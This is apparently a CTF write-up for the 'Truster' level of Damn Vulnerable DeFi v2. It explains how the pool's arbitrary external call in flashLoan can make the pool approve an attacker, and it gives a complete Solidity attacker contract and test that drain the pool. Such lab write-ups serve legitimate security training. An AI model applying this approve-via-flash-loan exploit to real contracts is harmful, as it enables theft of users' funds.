03.Truster
2023-06-23 21:02:16 # 05.Damn Vulnerable DeFi v2 CTF

Truster

analyses

This challenge involves another flash loan contract offering loans for the DVT token. The goal is that stealing the money from pool to drain money. And attacker gets TOKENS_IN_POOL ETH.

1
2
3
4
5
6
7
8
9
10
11
after(async function () {
/** SUCCESS CONDITIONS */

// Attacker has taken all tokens from the pool
expect(
await this.token.balanceOf(attacker.address)
).to.equal(TOKENS_IN_POOL);
expect(
await this.token.balanceOf(this.pool.address)
).to.equal('0');
});

The TrusterLenderPool contract accepts a custom function to call and a payload as its argument. This allows us to call any contract function on the flash loan contract’s behalf which can be exploited.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
function flashLoan(
uint256 borrowAmount,
address borrower,
address target,
bytes calldata data
)
external
nonReentrant
{
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
require(balanceBefore >= borrowAmount, "Not enough tokens in pool");

damnValuableToken.transfer(borrower, borrowAmount);
target.functionCall(data);

uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
}

First, we take a flash loan of 0 tokens (such that no repayment is required) and pass the token’s approve function as arguments with a payload that approves our attacker to withdraw all funds in a subsequent transaction. This works because the context under which approve is executed is the TrusterLenderPool contract because it is the one calling it.

1
2
3
4
5
6
function attack(uint256 amount) external {
//msg.sender flashloan 0 ETH. Then pool approves this contract 'amount' ETH.
pool.flashLoan(0, msg.sender, address(damnValuableToken), abi.encodeWithSignature("approve(address,uint256)", address(this), amount));
//So this contract can transferFrom amount ETH.
damnValuableToken.transferFrom(address(pool), msg.sender, amount);
}

solution

  • TrusterAttacker
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "../truster/TrusterLenderPool.sol";
import "../DamnValuableToken.sol";

contract TrusterAttacker {

IERC20 public immutable damnValuableToken;
TrusterLenderPool private immutable pool;

constructor (address tokenAddress, address poolAddress) {
damnValuableToken = IERC20(tokenAddress);
pool = TrusterLenderPool(poolAddress);
}

function attack(uint256 amount) external {
//msg.sender flashloan 0 ETH. Then pool approves this contract 'amount' ETH.
pool.flashLoan(0, msg.sender, address(damnValuableToken), abi.encodeWithSignature("approve(address,uint256)", address(this), amount));
//So this contract can transferFrom amount ETH.
damnValuableToken.transferFrom(address(pool), msg.sender, amount);
}

receive () external payable {}
}
  • test
1
2
3
4
5
6
7
8
it('Exploit', async function () {
/** CODE YOUR EXPLOIT HERE */
const AttackerContractFactory = await ethers.getContractFactory('TrusterAttacker', deployer);
const attackerContract = await AttackerContractFactory.deploy(this.token.address, this.pool.address);

await attackerContract.connect(attacker).attack(TOKENS_IN_POOL);

});